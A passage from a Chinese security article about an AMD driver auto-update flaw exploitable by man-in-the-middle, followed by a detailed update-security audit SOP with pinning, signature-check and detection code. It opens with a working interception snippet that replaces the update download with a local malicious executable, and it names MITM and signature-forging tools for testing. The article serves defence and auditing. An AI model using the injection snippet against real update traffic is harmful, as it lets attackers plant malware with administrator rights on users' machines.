读取本地恶意程序withopen(/tmp/malicious_update.exe,rb)asf:malicious_filef.read()# 替换响应内容flow.responsehttp.Response.make(200,malicious_file,{Content-Type:application/octet-stream,Content-Length:str(len(malicious_file))})受害者只要触发更新下载的就不是官方安装包是攻击者准备好的恶意程序。第三步静默获取系统权限。更新程序下载完文件校验一下大小没问题直接以管理员权限运行。恶意程序执行后攻击者就能拿到受害者主机的完整控制权。整个过程用户没有任何感知。更新窗口正常显示安装进度正常推进甚至装完之后还会提示“更新成功”。攻击成功率接近100%。因为用户不会怀疑官方驱动更新带毒杀毒软件也很难识别——更新程序是官方签名的合法程序它启动的子进程很多安全工具会默认放行。漏洞的实际危害量级很多人觉得不就是个局域网攻击吗哪有那么容易碰到。这个认知完全错了。MITM攻击的场景远不止公共WiFi。企业内网里一台员工主机被攻陷攻击者就能通过ARP欺骗横向移动给全公司的AMD主机投毒。运营商层面的HTTP劫持能覆盖一个城市的所有用户。还有恶意家用路由器、钓鱼WiFi、CDN节点被攻陷都是真实存在的攻击路径。去年就有勒索软件团伙通过劫持某常用办公软件的更新链路一周之内感染了三万多台企业主机。自动更新是最高效的供应链投毒渠道。它有官方信任背书有最高系统权限能批量触达用户。一旦这个环节出问题就是级联式的大规模安全事故。AMD这个漏洞覆盖了全球数百万台锐龙主机、工作站和服务器。真的有黑产团伙盯上这个漏洞后果不堪设想。AMD修复方案的局限性AMD这次的修复方案说穿了就两步。一是把所有HTTP下载链接改成了HTTPS二是加了基础的SHA256哈希校验。修复是修了但没修到位。他们没有做证书钉扎。也就是说如果攻击者拿到了一张合法的、受信任的CA证书伪造了download.amd.com的域名证书依然能劫持下载流量。他们也没有做严格的数字签名校验只是校验了清单里的哈希值。如果攻击者能篡改XML更新清单就能同步篡改哈希值校验照样能绕过。说白了就是补了最明显的窟窿更深层的防护还是没做。后续如果再出个XML注入或者清单劫持漏洞RCE依然成立。通用SOP软件自动更新安全审计完整落地教程踩完AMD的坑我们可以整理出一套可直接落地的软件自动更新安全审计SOP。不管你是客户端开发、安全测试、企业运维还是供应链安全负责人这套SOP都能直接套用帮你避开99%的更新链路漏洞。软件更新安全审计全流程SOP图*整个SOP分四个阶段开发静态审计、上线前渗透测试、线上周期性复测、漏洞应急响应。每个阶段都有明确的检查项和落地方法没有空泛的理论。阶段一开发阶段静态审计这个阶段是成本最低、效果最好的防护阶段。所有安全规则都要在开发阶段写死不能留配置开关不能给后续留偷懒的空间。传输层安全强制规范传输层是第一道防线核心要求只有一个全链路杜绝明文HTTP没有例外。所有更新相关请求包括更新清单拉取、安装包下载、增量包下载、日志上报、配置同步全部强制HTTPS代码层面拦截所有HTTP请求禁止通过配置文件动态切换协议。很多厂商会犯和AMD一样的错主接口HTTPSCDN下载节点HTTP。觉得下载的是公开文件加密没必要。这是完全错误的认知下载链路是篡改风险最高的环节。强制TLS 1.3协议禁用TLS 1.0、TLS 1.1和所有不安全的加密套件。服务端配置HSTS强制客户端走HTTPS防止SSL剥离攻击。必须实现证书钉扎SSL Pinning。客户端代码里硬编码更新服务器的公钥SHA256指纹只接受和预置指纹匹配的证书哪怕是系统信任的CA签发的证书指纹不对也直接拒绝连接。这是防范伪造证书、CA被攻陷场景的唯一有效手段。很多厂商觉得有HTTPS就够了实际上CA体系并没有那么可靠。这里给一段C#实现证书钉扎的示例代码可以直接集成到客户端更新模块里// 证书钉扎实现示例usingSystem.Net.Security;usingSystem.Security.Cryptography.X509Certificates;publicstaticclassCertificatePinning{// 硬编码官方更新服务器公钥SHA256指纹禁止通过配置文件修改privateconststringExpectedPublicKeyPin7A:B2:3C:D4:E5:F6:78:90:1A:2B:3C:4D:5E:6F:70:81:92:A3:B4:C5:D6:E7:F8:09:10:21:32:43:54:65:76:87;publicstaticboolValidateCertificate(objectsender,X509Certificatecertificate,X509Chainchain,SslPolicyErrorssslPolicyErrors){// 任何证书策略错误直接拒绝if(sslPolicyErrors!SslPolicyErrors.None)returnfalse;X509Certificate2cert2newX509Certificate2(certificate);stringactualThumbprintcert2.GetCertHashString(HashAlgorithmName.SHA256);// 公钥指纹严格比对不做模糊匹配returnstring.Equals(actualThumbprint,ExpectedPublicKeyPin,StringComparison.OrdinalIgnoreCase);}// 注册到全局HTTP客户端publicstaticvoidRegisterPinningHandler(HttpClientHandlerhandler){handler.ServerCertificateCustomValidationCallbackValidateCertificate;}}禁用系统默认的宽松证书校验逻辑禁止开发环境的跳过证书校验代码流入生产环境。CI/CD流程里加检测规则但凡出现ServicePointManager.ServerCertificateValidationCallback null这类跳过校验的代码直接阻断构建。安装包完整性与身份校验这是核心防线。传输层被突破的情况下校验逻辑是最后一道闸门。AMD就是完全没做这一层才导致一破就透。每一个正式发布的更新包都必须使用厂商离线存储的私钥生成数字签名。Windows平台用Authenticode签名Linux平台用GPG签名公钥内置在客户端里不能随更新包下发。客户端下载完更新包后必须执行双重校验先校验文件SHA256哈希值和更新清单里的是否一致再校验数字签名的合法性和发布者身份。任何一项校验失败立即删除下载的文件终止更新流程弹出明确的安全告警同时上报异常日志到服务端。绝对不允许设置“校验失败仍继续执行”的兼容选项。签名私钥必须离线存储严格管控访问权限定期轮换。同时配置证书吊销列表CRL和OCSP校验一旦私钥泄露能立刻吊销旧证书阻断恶意包的校验。增量更新的安全校验不能偷懒。很多厂商全量更新包做了签名增量补丁包却只做简单的二进制差分没有签名校验。攻击者可以篡改增量包在差分过程中注入恶意代码。所有增量包必须和全量包走同一套签名校验逻辑补丁应用前后都要校验文件哈希。更新回滚机制也要审计。更新失败回滚的时候要校验回滚文件的完整性和签名不能直接加载旧版本文件防止攻击者利用回滚机制植入恶意文件。这里给一个PowerShell版本的文件签名检测脚本可以集成到CI/CD流程也可以用来批量巡检终端文件# 文件数字签名检测脚本functionTest-FileAuthenticode{param([Parameter(Mandatory$true)][string]$FilePath,[string]$ExpectedPublisher)if(-not(Test-Path$FilePath-PathType Leaf)){Write-Output[错误] 文件不存在:$FilePathreturn$false}$signatureGet-AuthenticodeSignature-FilePath$FilePathif($signature.Status-neValid){Write-Output[警告] 文件签名无效状态:$($signature.Status)return$false}# 如果指定了预期发布者额外校验发布者身份if(-not[string]::IsNullOrEmpty($ExpectedPublisher)){if($signature.SignerCertificate.Subject-notlike*$ExpectedPublisher*){Write-Output[警告] 签名发布者不匹配实际发布者:$($signature.SignerCertificate.Subject)return$false}}Write-Output[正常] 文件签名有效发布者:$($signature.SignerCertificate.Subject)return$true}# 调用示例Test-FileAuthenticode-FilePathC:\Updates\app_setup.exe-ExpectedPublisherAMD权限与执行逻辑安全更新程序权限高哪怕校验逻辑都做了也要在执行层面加一层保险。遵循最小权限原则。更新如果只涉及用户目录下的文件就不要申请管理员权限。只有更新系统级驱动、写入Program Files目录的时候才临时提权用完立刻释放。更新文件必须下载到系统临时目录设置严格的访问权限禁止其他进程读写。校验通过之后再移动到正式安装路径。绝对不能在公共目录下执行更新程序。高危更新、驱动级更新必须弹出明确的用户确认窗口不能静默后台安装。给用户留最后一道人工校验的关口。更新完成后立刻删除临时安装包不要残留。避免恶意程序替换残留文件后续被更新程序二次执行。配置与更新清单安全很多厂商防住了下载链路却在更新清单上栽了跟头。更新清单不能只靠传输层加密本身也要做签名校验。XML、JSON格式的清单文件服务端要用私钥签名客户端拉取后先验签再解析内容。防止传输层被突破后攻击者篡改清单里的下载地址和哈希值。更新服务器地址、公钥指纹这些核心配置必须硬编码在客户端二进制文件里不能明文写在配置文件里。防止用户或者恶意程序修改配置跳转到恶意更新源。严格区分生产环境和测试环境的更新域名。测试环境的更新地址绝对不能出现在正式版客户端里。很多开发为了方便在代码里留了测试环境的开关被攻击者利用就能切换到测试源下载有漏洞的旧版本。禁止更新清单动态加载第三方下载地址。所有下载链接必须属于官方自有域名禁止跳转第三方CDN的时候不带校验。阶段二上线前渗透测试审计开发阶段做了规则不代表实际落地没问题。上线前必须做完整的渗透测试模拟真实攻击场景验证防护效果。所有测试项必须全部通过才能上线。有任何一项不通过直接打回开发阶段整改。必测的五个场景ARP中间人劫持测试模拟同一局域网下的ARP欺骗看能不能劫持更新流量替换安装包。如果客户端做了全链路HTTPS证书钉扎这个测试应该直接失败连接直接中断。常用工具Bettercap、Ettercap、Wireshark。SSL剥离攻击测试模拟强制把HTTPS降级成HTTP看客户端会不会接受明文连接。配置了HSTS和强制HTTPS的客户端会直接拒绝连接不会降级。常用工具SSLstrip、Burp Suite。伪造证书测试用自签名证书或者第三方CA签发的测试证书模拟中间人伪造证书。做了证书钉扎的客户端会直接拒绝连接不会信任系统证书库里的其他证书。常用工具MITMproxy、Burp Suite、OpenSSL。签名篡改测试修改官方安装包的二进制内容重新打包看客户端能不能识别出签名损坏拒绝执行。还要测试篡改更新清单里的哈希值看客户端会不会校验清单本身的签名。常用工具CFF Explorer、Sigthief、二进制编辑器。异常分支容错测试模拟断网、下载中断、文件损坏、校验失败等各种异常场景看程序会不会出现崩溃、权限绕过、残留恶意文件等问题。特别是校验失败的分支绝对不能出现“校验失败但继续执行”的逻辑。很多公司的测试只测正常流程不测异常分支。实际上大部分漏洞都出在异常处理的逻辑里。阶段三线上周期性审计安全不是一劳永逸的。产品迭代、功能更新、服务器架构调整都可能引入新的漏洞。必须做周期性的常态化审计。每月做一次全链路流量扫描。抓包检查所有更新相关接口看有没有新增的HTTP明文地址有没有不符合安全规范的请求。每季度做一次签名密钥与证书审计。检查私钥存储权限、证书有效期、吊销列表状态按计划轮换密钥。很多公司密钥放了好几年都不换一旦泄露就是灭顶之灾。每半年做一次第三方依赖组件审计。更新模块依赖的HTTP库、解析库、加密库要定期扫漏洞特别是那种自带跳过证书校验功能的第三方SDK是重灾区。每年复核一次漏洞赏金计划规则。明确哪些场景纳入奖励、哪些排除定级标准和奖金金额公开透明。不要事后改规则寒了研究员的心最后吃亏的还是厂商自己和用户。阶段四漏洞应急响应规范再完善的防护也不能保证绝对不出漏洞。应急响应做不好小漏洞也会变成大事故。AMD这次被骂很大原因就是响应慢、沟通差。明确漏洞分级和响应时效。高危RCE类漏洞90天内必须出正式修复补丁每周同步一次修复进度给上报者。严重漏洞24小时内出缓解方案72小时出临时补丁。建立专门的安全沟通渠道。给漏洞上报者留直接对接的安全接口人不要让人家跟客服机器人来回踢皮球。人家帮你找漏洞你连个对接的人都不给说不过去。修复补丁推送的同时必须同步发布安全公告。说明漏洞影响范围、风险等级、修复方法还要公开致谢漏洞上报者。这是行业基本礼仪也是对安全贡献的尊重。高危漏洞修复期间要给用户提供临时缓解方案。比如怎么关闭自动更新、怎么拦截恶意域名、怎么手动更新。不能让用户裸奔等三个月补丁。企业侧从终端到供应链的全套防护方案如果你是企业安全运维负责人不用等厂商修复自己就能做多层防护把自动更新的风险降到最低。终端侧管住权限和执行终端是最后一道防线核心是限制更新程序的权限拦截未签名的高权限执行。域环境批量管控自动更新服务。对于驱动类、工具类的自动更新统一通过组策略禁用开机自启只在需要更新的时候手动开启。这里给一个批量禁用AMD自动更新服务的PowerShell脚本可以直接下发到域内所有主机# 批量禁用AMD自动更新服务$amdServices (AMD External Events Utility,AMD Software: Adrenalin Edition Update Service,RyzenMasterUpdateService)foreach($serviceNamein$amdServices){$serviceGet-Service-Name$serviceName-ErrorAction SilentlyContinueif($service){Set-Service-Name$serviceName-StartupType DisabledStop-Service-Name$serviceName-ForceWrite-Output已禁用服务:$serviceName}}EDR加专项检测规则。监控所有更新类进程的子进程创建行为只要更新程序启动了没有有效数字签名的子进程直接拦截并告警。给一条Sigma检测规则可以直接导入SIEM平台title:AMD更新程序启动未签名子进程id:amd-update-rce-detectionstatus:experimentaldescription:检测AMD自动更新组件启动无有效签名的可执行文件可能存在MITM篡改author:Security Audit Teamdate:2026-06-14logsource:product:windowscategory:process_creationdetection:selection_parent:ParentImage|endswith:-AMDRSServ.exe-AMDUpdater.exe-RyzenMasterUpdate.exefilter_signed:Signed:Validcondition:selection_parent and not filter_signedfalsepositives:-测试环境下的未签名内部更新包level:high开启Windows Defender的应用程序控制策略WDAC只允许受信任发布者签名的程序运行。哪怕更新链路被劫持恶意程序没有官方签名也跑不起来。服务器环境的防护标准要更高。AMD EPYC服务器的驱动和管理工具更新必须全部走离线手动更新禁止开启自动更新。每一次更新包都要做完整的签名校验和病毒扫描确认无误后再逐台部署。服务器权限高一旦被攻陷影响的是整个业务系统。网络侧掐断明文更新流量在网关和网络边界做拦截从流量层面堵住风险。出口防火墙加规则拦截所有HTTP协议的软件更新流量。只允许HTTPS协议的更新请求通过从根源上杜绝明文下载的风险。内网DNS服务器做管控把常用软件的更新域名解析到内网私有更新源禁止终端直接连接外网更新服务器。有条件的企业可以开启出口SSL解密检测所有HTTPS更新流量的内容。如果发现下载的文件没有有效签名直接阻断。供应链侧把风险挡在外部企业采购硬件和软件的时候就要把更新安全纳入准入标准不要等买进来了再补窟窿。建立厂商更新安全评估台账。新采购的软件、硬件驱动先做更新链路安全检测。存在明文下载、无签名校验这类问题的直接打回不允许采购。搭建企业内部私有更新源。所有操作系统补丁、驱动更新、软件升级都先同步到内网服务器人工校验完签名和哈希之后再推给终端。绝对不让终端直接从外网拉更新包。Windows环境可以用WSUS或者SCCMLinux环境可以搭本地YUM/APT源驱动类更新可以用厂商的企业级更新管理工具。建立漏洞情报跟踪机制。专人跟进常用软件、硬件厂商的安全公告特别是更新组件相关的漏洞。一有新漏洞第一时间推补丁或者先上临时防护规则。运营侧补全意识和流程技术防护再全人的意识跟不上也没用。给员工做安全培训明确公共WiFi环境下禁止执行系统更新、驱动更新、软件升级操作。要更新就回公司内网或者用可信的手机热点。制定标准化的更新操作流程。所有终端更新必须走统一的内部渠道不允许员工私自从第三方网站下载驱动和更新包。每季度做一次终端安全巡检扫一遍全网主机的更新组件版本和配置有没有违规开启自动更新有没有存在已知漏洞的版本。最后说几句这件事闹到最后大概率还是不了了之。AMD不会补发那一万美元赏金也不会改赏金计划的规则。过不了多久大家就会忘了这个漏洞继续用自动更新装驱动。但这件事留下的提醒很重要。我们总说软件供应链安全总说要防范供应链投毒。很多人觉得那是国家级攻击离自己很远。实际上最基础的更新链路安全很多厂商都没做好。HTTPS、数字签名、证书钉扎都是成熟了十几年的技术。不是做不到是不想做。觉得没人会挖觉得出了事也没多大影响觉得省点成本比用户安全重要。直到真的被黑产利用造成大规模数据泄露和勒索事件才会后知后觉补窟窿。到那时候损失的就不是一万美元赏金了。安全这件事从来都是防患于未然成本最低。自动更新不该是安全的法外之地更不该是厂商省钱的地方。最后留两个问题欢迎评论区聊聊你们公司有没有做过软件更新链路的全链路安全审计碰到过哪些离谱的低级安全问题你认为MITM场景的漏洞厂商应该纳入漏洞赏金范围吗
